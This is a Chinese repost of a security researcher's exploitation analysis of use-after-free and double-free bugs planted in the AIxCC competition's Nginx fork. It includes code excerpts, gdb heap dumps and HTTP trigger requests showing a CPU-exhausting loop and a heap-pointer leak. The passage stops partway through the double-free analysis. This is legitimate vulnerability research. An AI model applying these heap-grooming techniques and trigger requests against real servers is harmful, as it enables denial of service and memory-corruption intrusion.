AIxCCNginx漏洞利用分析(上)

admin 2026-02-03 00:41:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入分析了DARPAAIxCC中Nginx的三个漏洞CPV9、CPV11及CPV17。研究发现,在jemalloc环境下,CPV11可实现信息泄露,而CPV17可通过双重Free破坏内存池元数据。作者展示了利用大Header缓冲区覆盖请求对象函数指针的方法,并结合CPV11的地址泄露成功构造RCE利用链,验证了这些漏洞在特定条件下的高危可利用性。 综合评分: 96 文章分类: 漏洞分析,二进制安全,实战经验,WEB安全,红队


cover_image

AIxCC Nginx 漏洞利用分析(上)

RoundofThree RoundofThree

securitainment

2026年2月2日 17:50 中国香港

| 原文链接 | 作者 | | — | — | | https://roundofthree.github.io/posts/nginx-aixcc-pwn/ | RoundofThree |

本文将分析 Nginx AIxCC 中 temporal safety 漏洞的可利用性。

AIxCC 是 DARPA 的一项竞赛,使用 AI 在代码库中发现漏洞。参赛者并不是在找 0-day,而是现有代码库中刻意添加的漏洞。其中之一就是半决赛中已经出现的 Nginx。

在本文中,我会从不同角度关注这些新增漏洞是否能被利用到不仅仅是崩溃。

希望这篇文章能作为对 Nginx 内部机制在利用方面的一次有用探索,因为针对 Nginx 内存破坏漏洞的公开利用几乎不存在。我将分析 CPV9、CPV11 和 CPV17,它们的细节可见 官方 AIxCC repo。

我的测试系统是 Ubuntu 24.04。我将考虑两种分配器:jemalloc 和 ptmalloc。我也测试 jemalloc,因为它是高性能分配器,在 FreeBSD 等系统中使用。我还会测试开启优化 O3的情况,例如:

./configure --with-mail --with-http_v2_module --with-cc-opt='-ggdb -O3' --error-log-path=/tmp/nginx/error.log --http-log-path=/tmp/nginx/access.log --pid-path=/tmp/nginx/nginx.pid

按需将 configure 命令改为 O3或 O0

TL;DR

| |ptmalloc, O0 | ptmalloc, O3 | jemalloc, O0 | jemalloc, O3 | | | — | — | — | — | — | | CPV9 | DoS | DoS | DoS | 更严重的 DoS (CPU 占用) | | CPV11 | DoS | DoS | 信息泄露 | 信息泄露 | | CPV17 | DoS | DoS | RCE (与 CPV11 信息泄露链式利用) | RCE (与 CPV11 信息泄露链式利用) |

CPV9: 链表节点 UAF

漏洞分析

CPV9 的堆 UAF 在官方发布的漏洞 blob 触发时,会因为 UAF 导致 NULL 指针解引用而崩溃。它是否可利用?我们能否构造不会导致 NULL 解引用的 HTTP 请求?

漏洞出在 ngx_black_list_remove中删除黑名单条目时。一个黑名单对象包含一个指向字符串对象 ngx_str_t的 IP指针,以及指向前后黑名单条目的 prev和 next指针,组成一个双向链表。

typedefstruct ngx_black_list_s {
ngx_str_t         *IP;
ngx_black_list_t  *next;
ngx_black_list_t  *prev;
}ngx_black_list_t;

*ngx_black_list_s结构。

在 ngx_black_list_remove中,链表会遍历直到找到 IP匹配的条目。现在考虑链表为空、reader为 NULL 的场景:由于在 for 循环中执行 reader = reader->next会访问 reader的 next字段,因此会发生 NULL 解引用。

这还不是全部。再考虑 ngx_black_list_removeremove_ip参数匹配链表头的场景。第一个 if 语句的条件会满足,头节点会在ngx_destroy_black_list_link中被清理并释放。然而,被删除节点的nextprev字段没有被清除,链表头也没有更新。因此后续使用黑名单时会始终从链表头开始遍历,而该链表头是一个悬空指针,指向一个IP指针为 NULL 的节点。这个悬空指针会在后续的ngx_black_list_insertngx_black_list_removengx_is_ip_banned调用中被使用,在所有这些情况下,如果IP为 NULL,worker 进程都会因为 NULL 指针解引用而崩溃。

ngx_int_t
ngx_black_list_remove(ngx_black_list_t **black_list, u_char remove_ip[])
{
ngx_black_list_t *reader;

    reader = *black_list;

if (reader && !ngx_strcmp(remove_ip, reader->IP->data)) {
ngx_destroy_black_list_link(reader);
return NGX_OK;
    }

for (reader = reader->next; reader && reader->next; reader = reader->next) {
if (!ngx_strcmp(remove_ip, reader->IP->data)) {
ngx_double_link_remove(reader);
ngx_destroy_black_list_link(reader);
return NGX_OK;
        }
    }

return NGX_ERROR;
}

*ngx_black_list_remove函数。

#definengx_destroy_black_list_link(x)          \
ngx_memzero((x)->IP->data, (x)->IP->len);   \
ngx_free((x)->IP->data);                    \
    (x)->IP->data = NULL;                       \
ngx_memzero((x)->IP, sizeof(ngx_str_t));    \
ngx_free((x)->IP);                          \
    (x)->IP = NULL;                             \
ngx_memzero((x), sizeof(ngx_black_list_t)); \
ngx_free((x));                              \
    (x) = NULL;

*清理节点的 ngx_destroy_black_list_link宏。

如果我们想利用这个 bug 获得超过 DoS 的效果,首要问题是:能否构造不会导致 NULL 解引用的 HTTP 请求?

ptmalloc, 无优化

释放黑名单头节点后,链表头仍指向悬空指针。嗯,在 ptmalloc 中利用这一点会有问题:节点被释放后,IP会变成指向下一个 tcache chunk 的混淆指针,这不是有效的内存地址。调用 ngx_is_ip_bannedngx_black_list_remove或 ngx_black_list_insert都会解引用 IP并导致崩溃。因此我们需要找到一种方法把有效地址写入 IP,例如与另一个通过 ngx_alloc分配的 chunk 重叠 (而不是 ngx_palloc,后者使用 Nginx 的 pool 分配器)。

gef➤  p *(ngx_black_list_t *)0x000058aed058b300
$7 = {
  IP = 0x58ab5ab5b6ab,
  next = 0x4000cf8d198122bd,
  prev = 0x0
}

gef➤  x/10gx 0x000058aed058b300-0x10
0x58aed058b2f0: 0x0000000000000000 0x0000000000000021
0x58aed058b300: 0x000058ab5ab5b6ab 0x4000cf8d198122bd
0x58aed058b310: 0x0000000000000000 0x0000000000000021

在 CodeQL 上折腾之后,我找不到一个 ngx_alloc调用满足 (1) size 参数位于 (0, 0x18] 区间,(2) 内容可被请求输入部分控制,且 (3) 在通过悬空指针访问之前该 chunk 不会再次被释放。第三个要求对 ptmalloc 是必要的,因为 chunk 的前 0x10 字节用于内联元数据,与 ngx_black_list_t的 IP和 next字段重叠。只要 IP或 next指向无效内存,任何访问悬空指针的函数都会崩溃。

好吧,我们可以让悬空指针与另一个黑名单重叠。下面是为新节点分配内存的代码片段。第一个 ngx_alloc用于容纳 IP->data字符串,会与已释放的黑名单头节点的悬空指针重叠。问题在于 insert_ip已被验证为合法 IP,因此我们只能写入 0-9 和点号。这不足以形成有效内存地址,所以后续任何请求都会因为 ngx_is_ip_banned访问被破坏的头节点而崩溃。_ugh_

u_char* new_str = (u_char*)ngx_alloc(size, log); // overlaps with freed [node A]

for&nbsp;(size_t&nbsp;i =&nbsp;0; i < size; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; new_str[i] = insert_ip[i];
&nbsp; &nbsp; }

&nbsp; &nbsp; new_black_list = (ngx_black_list_t*)ngx_alloc(sizeof(ngx_black_list_t), log);&nbsp;// overlaps with [ A.str ]
&nbsp; &nbsp; new_black_list->IP = (ngx_str_t*)ngx_alloc(sizeof(ngx_str_t), log);&nbsp;// overlaps with [ A.str.data ]
&nbsp; &nbsp; new_black_list->IP->data = new_str;
&nbsp; &nbsp; new_black_list->IP->len = size;
&nbsp; &nbsp; new_black_list->next =&nbsp;NULL;

*黑名单节点的分配。

for&nbsp;(; reader; reader = reader->next) {
if&nbsp;(!ngx_strcmp(connection->addr_text.data, reader->IP->data)) {
ngx_close_connection(connection);
return&nbsp;NGX_ERROR;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

*ngx_is_ip_banned核心逻辑。

#definengx_is_valid_ip_char(x) (('0'&nbsp;<= (x) && (x) <=&nbsp;'9') || (x) ==&nbsp;'.')

*对 IP->data的字符集限制。

我想过:是否存在应用层面的利用,例如把黑名单清空从而“破坏”这个功能?我们可以把 next设为 0,从而有效清空黑名单。但 IP字段会被设置为无效地址……原因仍是我只能写入数字和点号,并以零结尾 (不允许部分覆盖)。

因此,我认为这个 bug 的最高影响是 拒绝服务 (DoS)

ptmalloc, 启用优化

启用 O3时,黑名单节点不会被 memzero。但由于 tcache 的内联元数据,IP指向无效内存的问题仍然存在。没有合适的 heap gadget 可以在 UAF 对象的 IP字段写入有效地址。

因此,我认为该 bug 的最高影响仍然是 拒绝服务 (DoS)

jemalloc, 无优化

我们这样使用 jemalloc:

LD_PRELOAD=/usr/local/lib/libjemalloc.so objs/nginx -c /home/roundofthree/challenge-004-nginx-source/cp9/test.conf

jemalloc 不会内联堆元数据,因此 IP字段不会被混淆,但如果 Nginx 在未开启优化的情况下编译,IP会被清零。根据现有的 heap gadgets,我找不到在 IP处写入有效地址的方法。任何复用该 UAF 黑名单节点的行为都会导致崩溃。_ugh_

因此,我认为该 bug 的最高影响仍然是 拒绝服务 (DoS)

jemalloc, 启用优化

启用优化时,IP不会被清零,因此 UAF 节点可以在不崩溃的情况下被复用。IP也会指向已释放的内存。

使用以下请求触发 UAF 并重新分配,

GET / HTTP/1.1
Host: localhost:9999
User-Agent: curl/7.81.0
Accept: */*
Black-List: 111.111.111.111;222.222.222.222;333.333.333.333;
White-List: 111.111.111.111;
Black-List: 444.444.444.444;

在移除第一个节点之前,

gef➤ &nbsp;p **(ngx_black_list_t **)0x783ffe04ab70
$3 = {
&nbsp; IP = 0x783ffe01d060,
&nbsp; next = 0x783ffe0340e0,
&nbsp; prev = 0x0
}
gef➤ &nbsp;p *(ngx_str_t *)0x783ffe01d060
$4 = {
&nbsp; len = 0x10,
&nbsp; data = 0x783ffe01d050 "111.111.111.111"
}

移除第一个节点并插入新节点后,新节点会与第一个节点重叠 (不同于 ptmalloc,jemalloc 对 0x10 和 0x20 字节有 sizeclass),但由于 malloc/free 的顺序,IP与 IP->data指针发生了互换。这使得第一个节点仍处于有效状态,因此进程不会崩溃。但 next和 prev指针形成了一个环。

gef➤ &nbsp;p *(ngx_black_list_t *)0x0000783ffe0340c0
$19 = {
&nbsp; IP = 0x783ffe01d050,
&nbsp; next = 0x783ffe0340c0,
&nbsp; prev = 0x783ffe0340c0
}
gef➤ &nbsp;p *(ngx_str_t *)0x783ffe01d050
$16 = {
&nbsp; len = 0x10,
&nbsp; data = 0x783ffe01d060 "444.444.444.444"
}

插入新节点会导致无限遍历。删除节点会回到与之前相同的应用状态。我们的限制是没有足够的同 sizeclass 的 head gadgets。如果我们对该对象进行二次 free,第二次 free 会使进程崩溃,因为 IP对象被 memzero。

虽然不是 RCE,但通过破坏链表触发无限遍历,很可能是 比单纯崩溃更严重的 DoS 攻击,因为无限遍历会让 worker 进程被 CPU 占满。

$ nc localhost 8080
GET / HTTP/1.1
Host: localhost:9999
User-Agent: curl/7.81.0
Accept: */*
Ctrl+C
[#0] 0x783ffe98afa0 → __strcmp_avx2()
[#1] 0x64fb3d0b5968 → ngx_is_ip_banned(cycle=<optimised out>, connection=0x783ffe08e720)
[#2] 0x64fb3d0dd987 → ngx_http_wait_request_handler(rev=0x783ffe0af600)
[#3] 0x64fb3d0cdd15 → ngx_epoll_process_events(cycle=0x783ffe04a8d0, timer=<optimised out>, flags=0x1)
[#4] 0x64fb3d0c39ca → ngx_process_events_and_timers(cycle=0x783ffe04a8d0)
[#5] 0x64fb3d0cbae0 → ngx_worker_process_cycle(cycle=0x783ffe04a8d0, data=0x0)
[#6] 0x64fb3d0ca05a → ngx_spawn_process(cycle=0x783ffe04a8d0, proc=0x64fb3d0cba50 <ngx_worker_process_cycle>, data=0x0, name=0x64fb3d1454da "worker process", respawn=0xfffffffffffffffd)
[#7] 0x64fb3d0cb428 → ngx_start_worker_processes(cycle=0x783ffe04a8d0, n=0x1, type=0xfffffffffffffffd)
[#8] 0x64fb3d0cc716 → ngx_master_process_cycle(cycle=0x783ffe04a8d0)
[#9] 0x64fb3d09dec2 → main(argc=<optimised out>, argv=<optimised out>)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ &nbsp;c
Continuing.

*GDB 显示 ngx_is_ip_banned中的无限遍历。

CPV11: UAF 读取

漏洞分析

CPV11 不会让 Nginx 进程崩溃,即使没有远程管理员权限也会打印主机规格,因为 UAF 缓冲区包含主机规格。对象 cycle->host_specs在 ngx_init_cycle中分配,其字段 host_cpuhost_mem和 host_os随后立即初始化:

// [...]
&nbsp; &nbsp; cycle->host_specs->host_cpu = ngx_alloc(sizeof(ngx_str_t), log);
if&nbsp;(cycle->host_specs->host_cpu ==&nbsp;NULL) {
ngx_destroy_pool(pool);
returnNULL;
&nbsp; &nbsp; }
&nbsp; &nbsp; cycle->host_specs->host_cpu->data = (u_char*)"Unknown CPU\n";

ngx_memzero(line, NGX_MAX_HOST_SPECS_LINE);
&nbsp; &nbsp; fp = fopen("/proc/cpuinfo",&nbsp;"r");
if&nbsp;(fp !=&nbsp;NULL) {
&nbsp; &nbsp; &nbsp; &nbsp; temp_char =&nbsp;NULL;
while&nbsp;(fgets(line,&nbsp;sizeof(line), fp) !=&nbsp;NULL) {
if&nbsp;(ngx_strncmp(line,&nbsp;"model name",&nbsp;10) ==&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; temp_char =&nbsp;strchr(line,&nbsp;':');
if&nbsp;(temp_char !=&nbsp;NULL) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; temp_char +=&nbsp;2;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cycle->host_specs->host_cpu->data =&nbsp;ngx_alloc(sizeof(line),&nbsp;log);
if&nbsp;(cycle->host_specs->host_cpu->data ==&nbsp;NULL) {
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
ngx_memzero(cycle->host_specs->host_cpu->data,&nbsp;sizeof(line));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cycle->host_specs->host_cpu->len = \
ngx_sprintf(cycle->host_specs->host_cpu->data,&nbsp;"%s", temp_char) - \
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cycle->host_specs->host_cpu->data;
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
fclose(fp);
&nbsp; &nbsp; }
// [...]

问题在于,紧接着代码检查是否配置了 remote_admin,如果没有,就释放 cycle->host_specs,但仍保留了对已释放对象的引用。

&nbsp; &nbsp; ccf = (ngx_core_conf_t&nbsp;*) ngx_get_conf(cycle->conf_ctx, ngx_core_module);

if&nbsp;(!ccf->remote_admin) {
ngx_free(cycle->host_specs);
&nbsp; &nbsp; }

简单 grep 一下可知,cycle->host_specs在 ngx_http_get_host_specs中被使用 (另一个使用处在 ngx_master_process_exit,那里会销毁 cycle->host_specs)。因此即使没有启用 remote_admin,也可以在 ngx_http_get_host_specs中解引用悬空指针来打印主机规格。

staticngx_int_tngx_http_get_host_specs(ngx_http_request_t&nbsp;*r,
ngx_http_variable_value_t&nbsp;*v,&nbsp;uintptr_t&nbsp;data)
{
u_char&nbsp;*temp;

&nbsp; &nbsp; v->data =&nbsp;ngx_pnalloc(r->pool, NGX_MAX_HOST_SPECS_LINE *&nbsp;3);
if&nbsp;(v->data ==&nbsp;NULL) {
return&nbsp;NGX_HTTP_INTERNAL_SERVER_ERROR;
&nbsp; &nbsp; }
ngx_memzero(v->data, NGX_MAX_HOST_SPECS_LINE *&nbsp;3);

&nbsp; &nbsp; temp = v->data;
&nbsp; &nbsp; v->data =&nbsp;ngx_sprintf(v->data,&nbsp;"%s", r->cycle->host_specs->host_cpu->data);&nbsp;// NO CHERI crash CPV11 (UAF)
&nbsp; &nbsp; v->data =&nbsp;ngx_sprintf(v->data,&nbsp;"%s", r->cycle->host_specs->host_mem->data);
&nbsp; &nbsp; v->data =&nbsp;ngx_sprintf(v->data,&nbsp;"%s", r->cycle->host_specs->host_os->data);
&nbsp; &nbsp; v->len = v->data - temp;
&nbsp; &nbsp; v->data = temp;

return&nbsp;NGX_OK;
}

这里的易受影响对象是 ngx_host_specs_t,属于 0x20 sizeclass (对象大小为 0x18)。我们和 CPV9 一样缺少 0x20 sizeclass 的 heap gadgets……我唯一知道的 gadget 是黑名单节点,而它正是 CPV9 的漏洞对象。

ptmalloc (有/无优化)

从 worker 进程看,已释放的 ngx_host_specs_t对象前两个字段为 0;而在 master 线程中它们被堆元数据填充。这是因为 ngx_host_specs_t在 master 进程中被释放,master 进程把 tcache key 和混淆的 next 指针写入该分配的前两个字段。

gef➤ &nbsp;p *(ngx_host_specs_t *)0x601a05991f40
$3 = {
&nbsp; host_cpu = 0x0,
&nbsp; host_mem = 0x0,
&nbsp; host_os = 0x601a05992040
}

*worker 进程的 gdb 视图。

gef➤ &nbsp;p *(ngx_host_specs_t *)0x601a05991f40
$1 = {
&nbsp; host_cpu = 0x601a05991,
&nbsp; host_mem = 0xd213200cf2633c78,
&nbsp; host_os = 0x601a05992040
}

*master 进程的 gdb 视图。

由于已释放的 ngx_host_specs_t在 master 进程的 tcache 中,我无法让它与黑名单节点重叠。在 ngx_http_get_host_specs中触发 UAF 读取会因为解引用无效指针而导致 worker 进程崩溃 DoS

staticngx_int_tngx_http_get_host_specs(ngx_http_request_t&nbsp;*r,
ngx_http_variable_value_t&nbsp;*v,&nbsp;uintptr_t&nbsp;data)
{
u_char&nbsp;*temp;

&nbsp; &nbsp; v->data =&nbsp;ngx_pnalloc(r->pool, NGX_MAX_HOST_SPECS_LINE *&nbsp;3);
if&nbsp;(v->data ==&nbsp;NULL) {
return&nbsp;NGX_HTTP_INTERNAL_SERVER_ERROR;
&nbsp; &nbsp; }
ngx_memzero(v->data, NGX_MAX_HOST_SPECS_LINE *&nbsp;3);

&nbsp; &nbsp; temp = v->data;
&nbsp; &nbsp; v->data =&nbsp;ngx_sprintf(v->data,&nbsp;"%s", r->cycle->host_specs->host_cpu->data);&nbsp;// NO CHERI crash CPV11 (UAF)
&nbsp; &nbsp; v->data =&nbsp;ngx_sprintf(v->data,&nbsp;"%s", r->cycle->host_specs->host_mem->data);
&nbsp; &nbsp; v->data =&nbsp;ngx_sprintf(v->data,&nbsp;"%s", r->cycle->host_specs->host_os->data);
&nbsp; &nbsp; v->len = v->data - temp;
&nbsp; &nbsp; v->data = temp;

return&nbsp;NGX_OK;
}

jemalloc (有/无优化)

这是被释放的 host specs 对象。

gef➤ &nbsp;p *(ngx_host_specs_t*)0x73e067a340a0
$2 = {
&nbsp; host_cpu = 0x73e067a1d020,
&nbsp; host_mem = 0x73e067a1d030,
&nbsp; host_os = 0x73e067a1d040
}

接着让第一个黑名单节点与已释放的 host specs 对象重叠。prev仍是之前的host_os指针,IP是最近分配的ngx_str_t。为了让next非 NULL,我们至少再分配一个黑名单节点。next是指向黑名单节点的指针,但我们让它与host_mem(一个ngx_str_t) 重叠。因此再分配一个黑名单节点以填充指向host_mem->data的指针 (与next->next重叠)。在打印 host specs 时,我们泄露第三个节点IP的地址0x73e067a1d0a0,这是一个新分配的堆对象。

gef➤ &nbsp;p *(ngx_black_list_t *)0x73e067a340a0
$7 = {
&nbsp; IP = 0x73e067a1d060,
&nbsp; next = 0x73e067a340c0,
&nbsp; prev = 0x73e067a1d040
}
gef➤ &nbsp;p *(ngx_black_list_t *)0x73e067a340c0
$8 = {
&nbsp; IP = 0x73e067a1d080,
&nbsp; next = 0x73e067a340e0,
&nbsp; prev = 0x73e067a340a0
}
gef➤ &nbsp;p *(ngx_black_list_t *)0x73e067a340e0
$9 = {
&nbsp; IP = 0x73e067a1d0a0,
&nbsp; next = 0x0,
&nbsp; prev = 0x73e067a340c0
}
GET /host_specs HTTP/1.1
Host: localhost
Connection: Close
Black-List: 111.111.111.111;222.222.222.222;333.333.333.333;444.444.444.444;

HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Mon, 17 Feb 2025 17:06:18 GMT
Content-Type: text/plain
Content-Length: 63
Connection: close

Host Specifications:
111.111.111.111�Сg�s"Ubuntu 24.04.1 LTS"

这个 UAF 对象只有读原语……因此我认为最高影响是 信息泄露(泄露一个堆指针)。

CPV17: UAF 到 double free?

漏洞分析

触发 CPV17 的堆 UAF 会记录一条应用错误,因为 UAF 对象 s->connection的 write事件对象在 ngx_mail_session_internal_server_error中传给了 ngx_mail_send,且与 s->connection->write对应的 fd在第一次 free (ngx_mail_close_connection) 时被关闭,因此导致 send() failed (9: Bad file descriptor)错误。

2025/02/04 00:06:22 [alert] 21598#0: *2 send() failed (9: Bad file descriptor) while in auth state, client: 127.0.0.1, server: 0.0.0.0:8080
2025/02/04 00:06:22 [alert] 21598#0: *2 connection already closed while in auth state, client: 127.0.0.1, server: 0.0.0.0:8080

*使用官方发布的触发 blob 触发 CPV17 后的 Nginx 日志片段。

根据官方 CPV 信息,

该函数试图访问已释放的连接结构,从而通过 UAF 导致崩溃。

然而,在 jemalloc 下并不会崩溃。

那到底发生了什么?

由于 fd被清空,ngx_mail_send会调用 ngx_mail_close_connection

void
ngx_mail_send(ngx_event_t&nbsp;*wev)
{
ngx_int_t&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n;
ngx_connection_t&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *c;
ngx_mail_session_t&nbsp; &nbsp; &nbsp; &nbsp; *s;
ngx_mail_core_srv_conf_t&nbsp; *cscf;

&nbsp; &nbsp; c = wev->data;
&nbsp; &nbsp; s = c->data;

if&nbsp;(wev->timedout) {
ngx_log_error(NGX_LOG_INFO, c->log, NGX_ETIMEDOUT,&nbsp;"client timed out");
&nbsp; &nbsp; &nbsp; &nbsp; c->timedout =&nbsp;1;
ngx_mail_close_connection(c);
return;
&nbsp; &nbsp; }

if&nbsp;(s->out.len&nbsp;==&nbsp;0) {
if&nbsp;(ngx_handle_write_event(c->write,&nbsp;0) != NGX_OK) {
ngx_mail_close_connection(c);
&nbsp; &nbsp; &nbsp; &nbsp; }

return;
&nbsp; &nbsp; }

&nbsp; &nbsp; n = c->send(c, s->out.data, s->out.len);

// [...]

if&nbsp;(n == NGX_ERROR) {
ngx_mail_close_connection(c);&nbsp;// HERE
return;
&nbsp; &nbsp; }
// [...]

对同一个连接对象调用两次 ngx_mail_close_connection,意味着会调用两次 ngx_close_connection和 ngx_destroy_poolngx_close_connection并没有价值,因为它会检查 fd是否为 -1。然而对同一个 pool 对象调用两次 ngx_destroy_pool可能会由于 double free 而破坏内存分配器的内部状态。具体来说,在 ngx_destroy_pool中会调用已注册的 cleanup handler函数,释放与该 pool 关联的大块分配,并再次将 pool blocks 释放给系统分配器。

void
ngx_mail_close_connection(ngx_connection_t&nbsp;*c)
{
ngx_pool_t&nbsp; *pool;

ngx_log_debug1(NGX_LOG_DEBUG_MAIL, c->log,&nbsp;0,
"close mail connection:&nbsp;%d", c->fd);

#if&nbsp;(NGX_MAIL_SSL)

if&nbsp;(c->ssl) {
if&nbsp;(ngx_ssl_shutdown(c) == NGX_AGAIN) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c->ssl->handler = ngx_mail_close_connection;
return;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

#endif

#if&nbsp;(NGX_STAT_STUB)
&nbsp; &nbsp; (void)&nbsp;ngx_atomic_fetch_add(ngx_stat_active, -1);
#endif

&nbsp; &nbsp; c->destroyed =&nbsp;1;

&nbsp; &nbsp; pool = c->pool;

ngx_close_connection(c);

ngx_destroy_pool(pool);&nbsp;// double free
}

ptmalloc (有/无优化)

为什么在 ptmalloc 下触发该 bug 会立刻崩溃?

在第二次调用 ngx_mail_session_internal_server_error时,ngx_mail_send(s->connection->write);这一行中的 mail session 对象 s指向已释放的对象 0x5b33b60b0130。由于内联元数据,s->connection指向与内联 tcache key 对应的无效内存。因此在 ptmalloc 下触发该 bug 会立即崩溃。

gef➤ &nbsp;p s
$14 = (ngx_mail_session_t *) 0x5b33b60b0130
gef➤ &nbsp;heap bins
────────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=15, size=0x110, count=4] ← &nbsp;Chunk(addr=0x5b33b60f6700, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) &nbsp;← &nbsp;Chunk(addr=0x5b33b60b0020, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) &nbsp;← &nbsp;Chunk(addr=0x5b33b60b02c0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) &nbsp;← &nbsp;Chunk(addr=0x5b33b60f6810, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=23, size=0x190, count=1] ← &nbsp;Chunk(addr=0x5b33b60b0130, size=0x190, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=28, size=0x1e0, count=1] ← &nbsp;Chunk(addr=0x5b33b60af2c0, size=0x1e0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=63, size=0x410, count=2] ← &nbsp;Chunk(addr=0x5b33b60af520, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) &nbsp;← &nbsp;Chunk(addr=0x5b33b60afb10, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

gef➤ &nbsp;p s->connection
$15 = (ngx_connection_t *) 0x540bb4cf3bebdbec

最高影响:DoS

jemalloc (有/无优化)

由于 jemalloc 没有内联元数据,worker 进程不会在 ngx_destroy_pool被同一个 pool 对象调用两次之前崩溃。因此在触发该 bug 后,我们会出现 4 个 double free 分配 (jemalloc 没有任何 double free 保护):

  1. 对 3 个 0x100 字节分配的 double free (此处为 0x7caf42ac22000x7caf42ac2100和 0x7caf42ac2000),对应链接在一起的三个 pool block。可以看到这三个分配会返回两次:
gef➤ &nbsp;p malloc(0x100)
$3 = (void *) 0x7caf42ac2200
gef➤ &nbsp;p malloc(0x100)
$4 = (void *) 0x7caf42ac2100
gef➤ &nbsp;p malloc(0x100)
$5 = (void *) 0x7caf42ac2000
gef➤ &nbsp;p malloc(0x100)
$6 = (void *) 0x7caf42ac2300
gef➤ &nbsp;p malloc(0x100)
$7 = (void *) 0x7caf42ac2200
gef➤ &nbsp;p malloc(0x100)
$8 = (void *) 0x7caf42ac2100
gef➤ &nbsp;p malloc(0x100)
$9 = (void *) 0x7caf42ac2000
gef➤ &nbsp;p malloc(0x100)
$10 = (void *) 0x7caf42ac2300
gef➤ &nbsp;p malloc(0x100)
$11 = (void *) 0x7caf42ac2400
gef➤ &nbsp;p malloc(0x100)
$12 = (void *) 0x7caf42ac2500
  1. 对一个 0x1000 字节分配的 double free (此处为 0x70388d020000),对应 double free pool 中的大 pool block:
gef➤ &nbsp;p malloc(0x1000)
$1 = (void *) 0x70388d020000
gef➤ &nbsp;p malloc(0x1000)
$2 = (void *) 0x70388d020000
gef➤ &nbsp;p malloc(0x1000)
$3 = (void *) 0x70388d023000
gef➤ &nbsp;p malloc(0x1000)
$4 = (void *) 0x70388d024000

我尝试 1) 触发漏洞,2) 发送一个简单的 HTTP GET 请求。结果是进程在试图从被破坏的 pool 中分配时崩溃。这是因为 0x1000 的分配既作为连接 pool,又作为下一个 pool block (注意 d.next指向自身)。因此,从第二个 pool block 分配的对象会破坏第一个 pool block 中的对象。在这个例子中,r->headers_in.headers与第一个 pool block 的元数据重叠,导致 current变成无效地址。这会让任何后续的 pool 分配崩溃……

gef➤ &nbsp;p *(ngx_pool_t*)0x70388d020000
$14 = {
&nbsp; d = {
&nbsp; &nbsp; last = 0x70388d020480 "P\254\004\2158p",
&nbsp; &nbsp; end = 0x70388d021000 "\t",
&nbsp; &nbsp; next = 0x70388d020000,
&nbsp; &nbsp; failed = 0x0
&nbsp; },
&nbsp; max = 0x30f5a8,
&nbsp; current = 0x4,
&nbsp; chain = 0x70388d03500f,
&nbsp; large = 0x9,
&nbsp; cleanup = 0x70388d035015,
&nbsp; log = 0x70388d01e060
}

到底是什么破坏了 pool 元数据?如何避免破坏 pool 元数据?在 ngx_http_process_request_line中,会从 double free 的 pool 分配一个列表,大小为 20 * sizeof(ngx_table_elt_t) = 0x460。这会触发第二个 pool block 分配。

if&nbsp;(ngx_list_init(&r->headers_in.headers, r->pool,&nbsp;20,
sizeof(ngx_table_elt_t))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; != NGX_OK)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

在 ngx_http_process_request_headers中,每解析成功一行 header,ngx_list_push就会从第二个 pool block 分配内存,覆盖与之重叠的 pool block 元数据。

/* a header line has been parsed successfully */

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h = ngx_list_push(&r->headers_in.headers);
if&nbsp;(h ==&nbsp;NULL) {
ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h->hash = r->header_hash;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h->key.len = r->header_name_end - r->header_name_start;&nbsp;// overlaps with `current`
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h->key.data = r->header_name_start;
